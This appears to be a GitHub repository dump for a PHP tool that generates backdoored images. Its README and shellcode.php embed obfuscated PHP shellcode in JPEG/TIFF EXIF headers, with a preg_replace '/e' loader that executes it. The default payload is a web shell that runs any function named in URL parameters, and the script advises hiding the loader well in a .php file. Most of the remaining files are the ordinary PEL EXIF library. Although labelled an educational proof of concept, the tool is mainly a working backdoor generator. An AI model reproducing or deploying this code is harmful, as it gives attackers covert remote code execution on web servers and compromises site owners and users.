├── pel
├── PelEntryRational.php
├── PelJpegContent.php
├── PelException.php
├── PelJpegComment.php
├── PelExif.php
├── PelEntryLong.php
├── PelFormat.php
├── PelEntryNumber.php
├── PelEntryByte.php
├── PelTiff.php
├── Pel.php
├── PelEntry.php
├── PelEntryUndefined.php
├── PelConvert.php
├── PelJpegMarker.php
├── PelDataWindow.php
├── PelEntryAscii.php
├── PelJpeg.php
└── PelEntryShort.php
├── README.md
└── shellcode.php
/pel/PelEntryRational.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CCSIR/PHP-EXIF-Backdoors-generator-using-custom-shellcode/HEAD/pel/PelEntryRational.php
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | PHP EXIF Backdoors generator using custom shellcode
2 | ==================
3 |
4 | > PHPEB is a small tool that generates and stores obfuscated shellcode in user specified EXIF handlers. The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content and the second is the real payload obfuscated in EXIF a JPG/TIFF file headers.
5 |
6 | > Both functions are harmless by themselves. Exif_read_data is commonly used to read images and preg_replace to replace the content of strings. However, preg_replace has a hidden and tricky option where if you pass the “/e” modifier it will execute the content (eval), instead of just searching/replacing.
7 |
8 | > Another interesting point is that the image that we generate still loads and works properly.
9 |
10 | > Started from Sucuri [Research](http://blog.sucuri.net/2013/07/malware-hidden-inside-jpg-exif-headers.html).
11 |
12 | > If you have any other cool ideas for obfuscating the shellcode, feel free to commit.
13 |
14 | > Note: This application has been created as a POC and it has an educational purpose only. We are not responsibles for any damage you may inflict/get using this tool.
15 |
16 | * __Version__ : 1.0
17 | * __Website__ : [Cyber Security Research Center from Romania](http://ccsir.org)
18 | * __Contact__ : contact [at] ccsir [dot] org
19 |
20 | ##Usage
21 | > php phpeb.php [params]
22 |
23 | ##Params
24 | * -i path_to_image.jpg
25 | * -o path_to_backdoored_image.jpg
26 | * -s shellcode (optional)
27 | * -h EXIF headers (N/A in v1.0, Default:Make,Model)
28 | * -v verbose 1 or 0(optional, Default:0)
29 | * Default: !empty(\$1=@\$_GET[1]) && \$1(\$_GET[2]);
30 |
31 | ##Help
32 | - No need. Just download these files and upload in an environment that supports PHP. You can send any feedback
33 | or questions to contact [at] ccsir [dot] org
34 |
35 | ##License
36 |
37 | Copyright (C) 2013 Cyber Security Research Center from Romania
38 |
39 | This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.
40 |
41 | This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
42 |
43 | You should have received a copy of the GNU General Public License along with this program; if not, see .
44 |
--------------------------------------------------------------------------------
/pel/PelJpegContent.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('PelDataWindow.php');
41 | /**#@-*/
42 |
43 |
44 | /**
45 | * Class representing content in a JPEG file.
46 | *
47 | * A JPEG file consists of a sequence of each of which has an
48 | * associated {@link PelJpegMarker marker} and some content. This
49 | * class represents the content, and this basic type is just a simple
50 | * holder of such content, represented by a {@link PelDataWindow}
51 | * object. The {@link PelExif} class is an example of more
52 | * specialized JPEG content.
53 | *
54 | * @author Martin Geisler
55 | * @package PEL
56 | */
57 | class PelJpegContent {
58 | private $data = null;
59 |
60 | /**
61 | * Make a new piece of JPEG content.
62 | *
63 | * @param PelDataWindow the content.
64 | */
65 | function __construct(PelDataWindow $data) {
66 | $this->data = $data;
67 | }
68 |
69 |
70 | /**
71 | * Return the bytes of the content.
72 | *
73 | * @return string bytes representing this JPEG content. These bytes
74 | * will match the bytes given to {@link __construct the
75 | * constructor}.
76 | */
77 | function getBytes() {
78 | return $this->data->getBytes();
79 | }
80 |
81 | }
82 |
83 |
--------------------------------------------------------------------------------
/pel/PelException.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**
40 | * A printf() capable exception.
41 | *
42 | * This class is a simple extension of the standard Exception class in
43 | * PHP, and all the methods defined there retain their original
44 | * meaning.
45 | *
46 | * @package PEL
47 | * @subpackage Exception
48 | */
49 | class PelException extends Exception {
50 |
51 | /**
52 | * Construct a new PEL exception.
53 | *
54 | * @param string $fmt an optional format string can be given. It
55 | * will be used as a format string for vprintf(). The remaining
56 | * arguments will be available for the format string as usual with
57 | * vprintf().
58 | *
59 | * @param mixed $args,... any number of arguments to be used with
60 | * the format string.
61 | */
62 | function __construct(/* fmt, args... */) {
63 | $args = func_get_args();
64 | $fmt = array_shift($args);
65 | parent::__construct(vsprintf($fmt, $args));
66 | }
67 | }
68 |
69 |
70 | /**
71 | * Exception throw if invalid data is found.
72 | *
73 | * @author Martin Geisler
74 | * @package PEL
75 | * @subpackage Exception
76 | */
77 | class PelInvalidDataException extends PelException {}
78 |
79 | /**
80 | * Exception throw if an invalid argument is passed.
81 | *
82 | * @author Martin Geisler
83 | * @package PEL
84 | * @subpackage Exception
85 | */
86 | class PelInvalidArgumentException extends PelException {}
87 |
88 |
--------------------------------------------------------------------------------
/pel/PelJpegComment.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('PelJpegContent.php');
41 | /**#@-*/
42 |
43 |
44 | /**
45 | * Class representing JPEG comments.
46 | *
47 | * @author Martin Geisler
48 | * @package PEL
49 | */
50 | class PelJpegComment extends PelJpegContent {
51 |
52 | /**
53 | * The comment.
54 | *
55 | * @var string
56 | */
57 | private $comment = '';
58 |
59 | /**
60 | * Construct a new JPEG comment.
61 | *
62 | * The new comment will contain the string given.
63 | */
64 | function __construct($comment = '') {
65 | $this->comment = $comment;
66 | }
67 |
68 |
69 | /**
70 | * Load and parse data.
71 | *
72 | * This will load the comment from the data window passed.
73 | */
74 | function load(PelDataWindow $d) {
75 | $this->comment = $d->getBytes();
76 | }
77 |
78 |
79 | /**
80 | * Update the value with a new comment.
81 | *
82 | * Any old comment will be overwritten.
83 | *
84 | * @param string the new comment.
85 | */
86 | function setValue($comment) {
87 | $this->comment = $comment;
88 | }
89 |
90 |
91 | /**
92 | * Get the comment.
93 | *
94 | * @return string the comment.
95 | */
96 | function getValue() {
97 | return $this->comment;
98 | }
99 |
100 |
101 | /**
102 | * Turn this comment into bytes.
103 | *
104 | * @return string bytes representing this comment.
105 | */
106 | function getBytes() {
107 | return $this->comment;
108 | }
109 |
110 |
111 | /**
112 | * Return a string representation of this object.
113 | *
114 | * @return string the same as {@link getValue()}.
115 | */
116 | function __toString() {
117 | return $this->getValue();
118 | }
119 |
120 | }
121 |
122 |
--------------------------------------------------------------------------------
/pel/PelExif.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('PelJpegContent.php');
41 | require_once('PelException.php');
42 | require_once('PelFormat.php');
43 | require_once('PelEntry.php');
44 | require_once('PelTiff.php');
45 | require_once('PelIfd.php');
46 | require_once('PelTag.php');
47 | require_once('Pel.php');
48 | /**#@-*/
49 |
50 |
51 | /**
52 | * Class representing Exif data.
53 | *
54 | * Exif data resides as {@link PelJpegContent data} and consists of a
55 | * header followed by a number of {@link PelJpegIfd IFDs}.
56 | *
57 | * The interesting method in this class is {@link getTiff()} which
58 | * will return the {@link PelTiff} object which really holds the data
59 | * which one normally think of when talking about Exif data. This is
60 | * because Exif data is stored as an extension of the TIFF file
61 | * format.
62 | *
63 | * @author Martin Geisler
64 | * @package PEL
65 | */
66 | class PelExif extends PelJpegContent {
67 |
68 | /**
69 | * Exif header.
70 | *
71 | * The Exif data must start with these six bytes to be considered
72 | * valid.
73 | */
74 | const EXIF_HEADER = "Exif\0\0";
75 |
76 | /**
77 | * The PelTiff object contained within.
78 | *
79 | * @var PelTiff
80 | */
81 | private $tiff = null;
82 |
83 |
84 | /**
85 | * Construct a new Exif object.
86 | *
87 | * The new object will be empty --- use the {@link load()} method to
88 | * load Exif data from a {@link PelDataWindow} object, or use the
89 | * {@link setTiff()} to change the {@link PelTiff} object, which is
90 | * the true holder of the Exif {@link PelEntry entries}.
91 | */
92 | function __construct() {
93 |
94 | }
95 |
96 |
97 | /**
98 | * Load and parse Exif data.
99 | *
100 | * This will populate the object with Exif data, contained as a
101 | * {@link PelTiff} object. This TIFF object can be accessed with
102 | * the {@link getTiff()} method.
103 | */
104 | function load(PelDataWindow $d) {
105 | Pel::debug('Parsing %d bytes of Exif data...', $d->getSize());
106 |
107 | /* There must be at least 6 bytes for the Exif header. */
108 | if ($d->getSize() < 6)
109 | throw new PelInvalidDataException('Expected at least 6 bytes of Exif ' .
110 | 'data, found just %d bytes.',
111 | $d->getSize());
112 |
113 | /* Verify the Exif header */
114 | if ($d->strcmp(0, self::EXIF_HEADER)) {
115 | $d->setWindowStart(strlen(self::EXIF_HEADER));
116 | } else {
117 | throw new PelInvalidDataException('Exif header not found.');
118 | }
119 |
120 | /* The rest of the data is TIFF data. */
121 | $this->tiff = new PelTiff();
122 | $this->tiff->load($d);
123 | }
124 |
125 |
126 | /**
127 | * Change the TIFF information.
128 | *
129 | * Exif data is really stored as TIFF data, and this method can be
130 | * used to change this data from one {@link PelTiff} object to
131 | * another.
132 | *
133 | * @param PelTiff the new TIFF object.
134 | */
135 | function setTiff(PelTiff $tiff) {
136 | $this->tiff = $tiff;
137 | }
138 |
139 |
140 | /**
141 | * Get the underlying TIFF object.
142 | *
143 | * The actual Exif data is stored in a {@link PelTiff} object, and
144 | * this method provides access to it.
145 | *
146 | * @return PelTiff the TIFF object with the Exif data.
147 | */
148 | function getTiff() {
149 | return $this->tiff;
150 | }
151 |
152 |
153 | /**
154 | * Produce bytes for the Exif data.
155 | *
156 | * @return string bytes representing this object.
157 | */
158 | function getBytes() {
159 | return self::EXIF_HEADER . $this->tiff->getBytes();
160 | }
161 |
162 |
163 | /**
164 | * Return a string representation of this object.
165 | *
166 | * @return string a string describing this object. This is mostly
167 | * useful for debugging.
168 | */
169 | function __toString() {
170 | return Pel::tra("Dumping Exif data...\n") .
171 | $this->tiff->__toString();
172 | }
173 |
174 | }
175 |
176 |
--------------------------------------------------------------------------------
/pel/PelEntryLong.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('PelEntryNumber.php');
41 | /**#@-*/
42 |
43 |
44 | /**
45 | * Class for holding unsigned longs.
46 | *
47 | * This class can hold longs, either just a single long or an array of
48 | * longs. The class will be used to manipulate any of the Exif tags
49 | * which can have format {@link PelFormat::LONG} like in this
50 | * example:
51 | *
52 | * $w = $ifd->getEntry(PelTag::EXIF_IMAGE_WIDTH);
53 | * $w->setValue($w->getValue() / 2);
54 | * $h = $ifd->getEntry(PelTag::EXIF_IMAGE_HEIGHT);
55 | * $h->setValue($h->getValue() / 2);
56 | *
57 | * Here the width and height is updated to 50% of their original
58 | * values.
59 | *
60 | * @author Martin Geisler
61 | * @package PEL
62 | */
63 | class PelEntryLong extends PelEntryNumber {
64 |
65 | /**
66 | * Make a new entry that can hold an unsigned long.
67 | *
68 | * The method accept its arguments in two forms: several integer
69 | * arguments or a single array argument. The {@link getValue}
70 | * method will always return an array except for when a single
71 | * integer argument is given here, or when an array with just a
72 | * single integer is given.
73 | *
74 | * This means that one can conveniently use objects like this:
75 | *
76 | * $a = new PelEntryLong(PelTag::EXIF_IMAGE_WIDTH, 123456);
77 | * $b = $a->getValue() - 654321;
78 | *
79 | * where the call to {@link getValue} will return an integer instead
80 | * of an array with one integer element, which would then have to be
81 | * extracted.
82 | *
83 | * @param PelTag the tag which this entry represents. This
84 | * should be one of the constants defined in {@link PelTag},
85 | * e.g., {@link PelTag::IMAGE_WIDTH}, or any other tag which can
86 | * have format {@link PelFormat::LONG}.
87 | *
88 | * @param int $value... the long(s) that this entry will
89 | * represent or an array of longs. The argument passed must obey
90 | * the same rules as the argument to {@link setValue}, namely that
91 | * it should be within range of an unsigned long (32 bit), that is
92 | * between 0 and 4294967295 (inclusive). If not, then a {@link
93 | * PelExifOverflowException} will be thrown.
94 | */
95 | function __construct($tag /* $value... */) {
96 | $this->tag = $tag;
97 | $this->min = 0;
98 | $this->max = 4294967295;
99 | $this->format = PelFormat::LONG;
100 |
101 | $value = func_get_args();
102 | array_shift($value);
103 | $this->setValueArray($value);
104 | }
105 |
106 |
107 | /**
108 | * Convert a number into bytes.
109 | *
110 | * @param int the number that should be converted.
111 | *
112 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
113 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
114 | *
115 | * @return string bytes representing the number given.
116 | */
117 | function numberToBytes($number, $order) {
118 | return PelConvert::longToBytes($number, $order);
119 | }
120 | }
121 |
122 |
123 | /**
124 | * Class for holding signed longs.
125 | *
126 | * This class can hold longs, either just a single long or an array of
127 | * longs. The class will be used to manipulate any of the Exif tags
128 | * which can have format {@link PelFormat::SLONG}.
129 | *
130 | * @author Martin Geisler
131 | * @package PEL
132 | */
133 | class PelEntrySLong extends PelEntryNumber {
134 |
135 | /**
136 | * Make a new entry that can hold a signed long.
137 | *
138 | * The method accept its arguments in two forms: several integer
139 | * arguments or a single array argument. The {@link getValue}
140 | * method will always return an array except for when a single
141 | * integer argument is given here, or when an array with just a
142 | * single integer is given.
143 | *
144 | * @param PelTag the tag which this entry represents. This
145 | * should be one of the constants defined in {@link PelTag}
146 | * which have format {@link PelFormat::SLONG}.
147 | *
148 | * @param int $value... the long(s) that this entry will represent
149 | * or an array of longs. The argument passed must obey the same
150 | * rules as the argument to {@link setValue}, namely that it should
151 | * be within range of a signed long (32 bit), that is between
152 | * -2147483648 and 2147483647 (inclusive). If not, then a {@link
153 | * PelOverflowException} will be thrown.
154 | */
155 | function __construct($tag /* $value... */) {
156 | $this->tag = $tag;
157 | $this->min = -2147483648;
158 | $this->max = 2147483647;
159 | $this->format = PelFormat::SLONG;
160 |
161 | $value = func_get_args();
162 | array_shift($value);
163 | $this->setValueArray($value);
164 | }
165 |
166 |
167 | /**
168 | * Convert a number into bytes.
169 | *
170 | * @param int the number that should be converted.
171 | *
172 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
173 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
174 | *
175 | * @return string bytes representing the number given.
176 | */
177 | function numberToBytes($number, $order) {
178 | return PelConvert::sLongToBytes($number, $order);
179 | }
180 | }
181 |
182 |
--------------------------------------------------------------------------------
/shellcode.php:
--------------------------------------------------------------------------------
1 | 6) {
27 | print " # Usage: php phpeb.php [params] #\r\n";
28 | print " # Params: #\r\n";
29 | print " # -i path_to_image.jpg #\r\n";
30 | print " # -o path_to_backdoored_image.jpg #\r\n";
31 | print " # -s shellcode (optional) #\r\n";
32 | print " # -h EXIF headers (N/A in v1.0, Default:Make,Model) #\r\n";
33 | print " # -v verbose 1 or 0(optional, Default:0) #\r\n";
34 | print " # Default: !empty(\$1=@\$_GET[1]) && \$1(\$_GET[2]); #\r\n";
35 | print " ################################################################\r\n\r\n\r\n";
36 | exit(1);
37 |
38 | }
39 | print " ################################################################\r\n\r\n\r\n";
40 |
41 | $shellcode = '$_GET[1]($_GET[2]);';
42 | $verbose = FALSE;
43 | $headers = 'Make,Model';
44 |
45 | for($i=0;$iload($data);
85 | $exif = $jpeg->getExif();
86 |
87 | if ($exif == null) {
88 | if($verbose) print " # No APP1 section found, added new.\r\n";
89 | $exif = new PelExif();
90 | $jpeg->setExif($exif);
91 | $tiff = new PelTiff();
92 | $exif->setTiff($tiff);
93 | } else {
94 | if($verbose) print " # Found existing APP1 section.\r\n";
95 | $tiff = $exif->getTiff();
96 | }
97 | } elseif (PelTiff::isValid($data)) {
98 | $tiff = $file = new PelTiff();
99 |
100 | $tiff->load($data);
101 | } else {
102 | print " # Unrecognized image format! The first 16 bytes follow:\r\n";
103 | PelConvert::bytesToDump($data->getBytes(0, 16));
104 | exit(1);
105 | }
106 |
107 | $ifd0 = $tiff->getIfd();
108 |
109 | if ($ifd0 == null) {
110 | if($verbose) print " # No IFD found, adding new.\r\n";
111 | $ifd0 = new PelIfd(PelIfd::IFD0);
112 | $tiff->setIfd($ifd0);
113 | }
114 |
115 | //add MODEL EXIF header
116 | $desc = $ifd0->getEntry(PelTag::MODEL);
117 | if ($desc == null) {
118 | if($verbose) print " # Added new MODEL entry with ".$payload."\r\n";
119 | $desc = new PelEntryAscii(PelTag::MODEL, $payload);
120 | $ifd0->addEntry($desc);
121 | } else {
122 |
123 | if($verbose) print 'Updating MODEL entry from "'.$desc->getValue().'" to "'.$payload.'".'."\r\n";
124 | $desc->setValue($payload);
125 | }
126 |
127 | //add MAKE EXIF header
128 | $desc = $ifd0->getEntry(PelTag::MAKE);
129 | if ($desc == null) {
130 | if($verbose) print " # Added new MAKE entry with ".$regex."\r\n";
131 | $desc = new PelEntryAscii(PelTag::MAKE, $regex);
132 | $ifd0->addEntry($desc);
133 | } else {
134 |
135 | if($verbose) print 'Updating MAKE entry from "'.$desc->getValue().'" to "'.$regex.'".'."\r\n";
136 | $desc->setValue($regex);
137 | }
138 |
139 |
140 | print " # Saving backdoor file : ".$backdoored.".\r\n";
141 | $file->saveFile($backdoored);
142 | print " # Saved.\r\n";
143 | if($verbose) print "\r\n\r\n";
144 | print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n";
145 | print "\r\n\r\n\r\n";
147 | }
148 |
149 | function generate() {
150 | global $shellcode, $verbose, $used, $regex, $payload;
151 |
152 | for($i=0;$i
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**
40 | * Namespace for functions operating on Exif formats.
41 | *
42 | * This class defines the constants that are to be used whenever one
43 | * has to refer to the format of an Exif tag. They will be
44 | * collectively denoted by the pseudo-type PelFormat throughout the
45 | * documentation.
46 | *
47 | * All the methods defined here are static, and they all operate on a
48 | * single argument which should be one of the class constants.
49 | *
50 | * @author Martin Geisler
51 | * @package PEL
52 | */
53 | class PelFormat {
54 |
55 | /**
56 | * Unsigned byte.
57 | *
58 | * Each component will be an unsigned 8-bit integer with a value
59 | * between 0 and 255.
60 | *
61 | * Modelled with the {@link PelEntryByte} class.
62 | */
63 | const BYTE = 1;
64 |
65 | /**
66 | * ASCII string.
67 | *
68 | * Each component will be an ASCII character.
69 | *
70 | * Modelled with the {@link PelEntryAscii} class.
71 | */
72 | const ASCII = 2;
73 |
74 | /**
75 | * Unsigned short.
76 | *
77 | * Each component will be an unsigned 16-bit integer with a value
78 | * between 0 and 65535.
79 | *
80 | * Modelled with the {@link PelEntryShort} class.
81 | */
82 | const SHORT = 3;
83 |
84 | /**
85 | * Unsigned long.
86 | *
87 | * Each component will be an unsigned 32-bit integer with a value
88 | * between 0 and 4294967295.
89 | *
90 | * Modelled with the {@link PelEntryLong} class.
91 | */
92 | const LONG = 4;
93 |
94 | /**
95 | * Unsigned rational number.
96 | *
97 | * Each component will consist of two unsigned 32-bit integers
98 | * denoting the enumerator and denominator. Each integer will have
99 | * a value between 0 and 4294967295.
100 | *
101 | * Modelled with the {@link PelEntryRational} class.
102 | */
103 | const RATIONAL = 5;
104 |
105 | /**
106 | * Signed byte.
107 | *
108 | * Each component will be a signed 8-bit integer with a value
109 | * between -128 and 127.
110 | *
111 | * Modelled with the {@link PelEntrySByte} class.
112 | */
113 | const SBYTE = 6;
114 |
115 | /**
116 | * Undefined byte.
117 | *
118 | * Each component will be a byte with no associated interpretation.
119 | *
120 | * Modelled with the {@link PelEntryUndefined} class.
121 | */
122 | const UNDEFINED = 7;
123 |
124 | /**
125 | * Signed short.
126 | *
127 | * Each component will be a signed 16-bit integer with a value
128 | * between -32768 and 32767.
129 | *
130 | * Modelled with the {@link PelEntrySShort} class.
131 | */
132 | const SSHORT = 8;
133 |
134 | /**
135 | * Signed long.
136 | *
137 | * Each component will be a signed 32-bit integer with a value
138 | * between -2147483648 and 2147483647.
139 | *
140 | * Modelled with the {@link PelEntrySLong} class.
141 | */
142 | const SLONG = 9;
143 |
144 | /**
145 | * Signed rational number.
146 | *
147 | * Each component will consist of two signed 32-bit integers
148 | * denoting the enumerator and denominator. Each integer will have
149 | * a value between -2147483648 and 2147483647.
150 | *
151 | * Modelled with the {@link PelEntrySRational} class.
152 | */
153 | const SRATIONAL = 10;
154 |
155 | /**
156 | * Floating point number.
157 | *
158 | * Entries with this format are not currently implemented.
159 | */
160 | const FLOAT = 11;
161 |
162 | /**
163 | * Double precision floating point number.
164 | *
165 | * Entries with this format are not currently implemented.
166 | */
167 | const DOUBLE = 12;
168 |
169 |
170 | /**
171 | * Returns the name of a format.
172 | *
173 | * @param PelFormat the format.
174 | *
175 | * @return string the name of the format, e.g., 'Ascii' for the
176 | * {@link ASCII} format etc.
177 | */
178 | static function getName($type) {
179 | switch ($type) {
180 | case self::ASCII: return 'Ascii';
181 | case self::BYTE: return 'Byte';
182 | case self::SHORT: return 'Short';
183 | case self::LONG: return 'Long';
184 | case self::RATIONAL: return 'Rational';
185 | case self::SBYTE: return 'SByte';
186 | case self::SSHORT: return 'SShort';
187 | case self::SLONG: return 'SLong';
188 | case self::SRATIONAL: return 'SRational';
189 | case self::FLOAT: return 'Float';
190 | case self::DOUBLE: return 'Double';
191 | case self::UNDEFINED: return 'Undefined';
192 | default:
193 | return Pel::fmt('Unknown format: 0x%X', $type);
194 | }
195 | }
196 |
197 |
198 | /**
199 | * Return the size of components in a given format.
200 | *
201 | * @param PelFormat the format.
202 | *
203 | * @return the size in bytes needed to store one component with the
204 | * given format.
205 | */
206 | static function getSize($type) {
207 | switch ($type) {
208 | case self::ASCII: return 1;
209 | case self::BYTE: return 1;
210 | case self::SHORT: return 2;
211 | case self::LONG: return 4;
212 | case self::RATIONAL: return 8;
213 | case self::SBYTE: return 1;
214 | case self::SSHORT: return 2;
215 | case self::SLONG: return 4;
216 | case self::SRATIONAL: return 8;
217 | case self::FLOAT: return 4;
218 | case self::DOUBLE: return 8;
219 | case self::UNDEFINED: return 1;
220 | default:
221 | return Pel::fmt('Unknown format: 0x%X', $type);
222 | }
223 | }
224 |
225 | }
226 |
227 |
--------------------------------------------------------------------------------
/pel/PelEntryNumber.php:
--------------------------------------------------------------------------------
1 |
32 | * @version $Revision$
33 | * @date $Date$
34 | * @license http://www.gnu.org/licenses/gpl.html GNU General Public
35 | * License (GPL)
36 | * @package PEL
37 | */
38 |
39 | /**#@+ Required class definitions. */
40 | require_once('PelException.php');
41 | require_once('PelEntry.php');
42 | /**#@-*/
43 |
44 |
45 | /**
46 | * Exception cast when numbers overflow.
47 | *
48 | * @author Martin Geisler
49 | * @package PEL
50 | * @subpackage Exception
51 | */
52 | class PelOverflowException extends PelException {
53 |
54 | /**
55 | * Construct a new overflow exception.
56 | *
57 | * @param int the value that is out of range.
58 | *
59 | * @param int the minimum allowed value.
60 | *
61 | * @param int the maximum allowed value.
62 | */
63 | function __construct($v, $min, $max) {
64 | parent::__construct('Value %.0f out of range [%.0f, %.0f]',
65 | $v, $min, $max);
66 | }
67 | }
68 |
69 |
70 | /**
71 | * Class for holding numbers.
72 | *
73 | * This class can hold numbers, with range checks.
74 | *
75 | * @author Martin Geisler
76 | * @package PEL
77 | */
78 | abstract class PelEntryNumber extends PelEntry {
79 |
80 | /**
81 | * The value held by this entry.
82 | *
83 | * @var array
84 | */
85 | protected $value = array();
86 |
87 | /**
88 | * The minimum allowed value.
89 | *
90 | * Any attempt to change the value below this variable will result
91 | * in a {@link PelOverflowException} being thrown.
92 | *
93 | * @var int
94 | */
95 | protected $min;
96 |
97 | /**
98 | * The maximum allowed value.
99 | *
100 | * Any attempt to change the value over this variable will result in
101 | * a {@link PelOverflowException} being thrown.
102 | *
103 | * @var int
104 | */
105 | protected $max;
106 |
107 | /**
108 | * The dimension of the number held.
109 | *
110 | * Normal numbers have a dimension of one, pairs have a dimension of
111 | * two, etc.
112 | *
113 | * @var int
114 | */
115 | protected $dimension = 1;
116 |
117 |
118 | /**
119 | * Change the value.
120 | *
121 | * This method can change both the number of components and the
122 | * value of the components. Range checks will be made on the new
123 | * value, and a {@link PelOverflowException} will be thrown if the
124 | * value is found to be outside the legal range.
125 | *
126 | * The method accept several number arguments. The {@link getValue}
127 | * method will always return an array except for when a single
128 | * number is given here.
129 | *
130 | * @param int|array $value... the new value(s). This can be zero or
131 | * more numbers, that is, either integers or arrays. The input will
132 | * be checked to ensure that the numbers are within the valid range.
133 | * If not, then a {@link PelOverflowException} will be thrown.
134 | *
135 | * @see getValue
136 | */
137 | function setValue(/* $value... */) {
138 | $value = func_get_args();
139 | $this->setValueArray($value);
140 | }
141 |
142 |
143 | /**
144 | * Change the value.
145 | *
146 | * This method can change both the number of components and the
147 | * value of the components. Range checks will be made on the new
148 | * value, and a {@link PelOverflowException} will be thrown if the
149 | * value is found to be outside the legal range.
150 | *
151 | * @param array the new values. The array must contain the new
152 | * numbers.
153 | *
154 | * @see getValue
155 | */
156 | function setValueArray($value) {
157 | foreach ($value as $v)
158 | $this->validateNumber($v);
159 |
160 | $this->components = count($value);
161 | $this->value = $value;
162 | }
163 |
164 |
165 | /**
166 | * Return the numeric value held.
167 | *
168 | * @return int|array this will either be a single number if there is
169 | * only one component, or an array of numbers otherwise.
170 | */
171 | function getValue() {
172 | if ($this->components == 1)
173 | return $this->value[0];
174 | else
175 | return $this->value;
176 | }
177 |
178 |
179 | /**
180 | * Validate a number.
181 | *
182 | * This method will check that the number given is within the range
183 | * given my {@link getMin()} and {@link getMax()}, inclusive. If
184 | * not, then a {@link PelOverflowException} is thrown.
185 | *
186 | * @param int|array the number in question.
187 | *
188 | * @return void nothing, but will throw a {@link
189 | * PelOverflowException} if the number is found to be outside the
190 | * legal range and {@link Pel::$strict} is true.
191 | */
192 | function validateNumber($n) {
193 | if ($this->dimension == 1) {
194 | if ($n < $this->min || $n > $this->max)
195 | Pel::maybeThrow(new PelOverflowException($n,
196 | $this->min,
197 | $this->max));
198 | } else {
199 | for ($i = 0; $i < $this->dimension; $i++)
200 | if ($n[$i] < $this->min || $n[$i] > $this->max)
201 | Pel::maybeThrow(new PelOverflowException($n[$i],
202 | $this->min,
203 | $this->max));
204 | }
205 | }
206 |
207 |
208 | /**
209 | * Add a number.
210 | *
211 | * This appends a number to the numbers already held by this entry,
212 | * thereby increasing the number of components by one.
213 | *
214 | * @param int|array the number to be added.
215 | */
216 | function addNumber($n) {
217 | $this->validateNumber($n);
218 | $this->value[] = $n;
219 | $this->components++;
220 | }
221 |
222 |
223 | /**
224 | * Convert a number into bytes.
225 | *
226 | * The concrete subclasses will have to implement this method so
227 | * that the numbers represented can be turned into bytes.
228 | *
229 | * The method will be called once for each number held by the entry.
230 | *
231 | * @param int the number that should be converted.
232 | *
233 | * @param PelByteOrder one of {@link PelConvert::LITTLE_ENDIAN} and
234 | * {@link PelConvert::BIG_ENDIAN}, specifying the target byte order.
235 | *
236 | * @return string bytes representing the number given.
237 | */
238 | abstract function numberToBytes($number, $order);
239 |
240 |
241 | /**
242 | * Turn this entry into bytes.
243 | *
244 | * @param PelByteOrder the desired byte order, which must be either
245 | * {@link PelConvert::LITTLE_ENDIAN} or {@link
246 | * PelConvert::BIG_ENDIAN}.
247 | *
248 | * @return string bytes representing this entry.
249 | */
250 | function getBytes($o) {
251 | $bytes = '';
252 | for ($i = 0; $i < $this->components; $i++) {
253 | if ($this->dimension == 1) {
254 | $bytes .= $this->numberToBytes($this->value[$i], $o);
255 | } else {
256 | for ($j = 0; $j < $this->dimension; $j++) {
257 | $bytes .= $this->numberToBytes($this->value[$i][$j], $o);
258 | }
259 | }
260 | }
261 | return $bytes;
262 | }
263 |
264 |
265 | /**
266 | * Format a number.
267 | *
268 | * This method is called by {@link getText} to format numbers.
269 | * Subclasses should override this method if they need more
270 | * sophisticated behavior than the default, which is to just return
271 | * the number as is.
272 | *
273 | * @param int the number which will be formatted.
274 | *
275 | * @param boolean it could be that there is both a verbose and a
276 | * brief formatting available, and this argument controls that.
277 | *
278 | * @return string the number formatted as a string suitable for
279 | * display.
280 | */
281 | function formatNumber($number, $brief = false) {
282 | return $number;
283 | }
284 |
285 |
286 | /**
287 | * Get the numeric value of this entry as text.
288 | *
289 | * @param boolean use brief output? The numbers will be separated
290 | * by a single space if brief output is requested, otherwise a space
291 | * and a comma will be used.
292 | *
293 | * @return string the numbers(s) held by this entry.
294 | */
295 | function getText($brief = false) {
296 | if ($this->components == 0)
297 | return '';
298 |
299 | $str = $this->formatNumber($this->value[0]);
300 | for ($i = 1; $i < $this->components; $i++) {
301 | $str .= ($brief ? ' ' : ', ');
302 | $str .= $this->formatNumber($this->value[$i]);
303 | }
304 |
305 | return $str;
306 | }
307 |
308 | }
309 |
310 |
--------------------------------------------------------------------------------
/pel/PelEntryByte.php:
--------------------------------------------------------------------------------
1 |
34 | * @version $Revision$
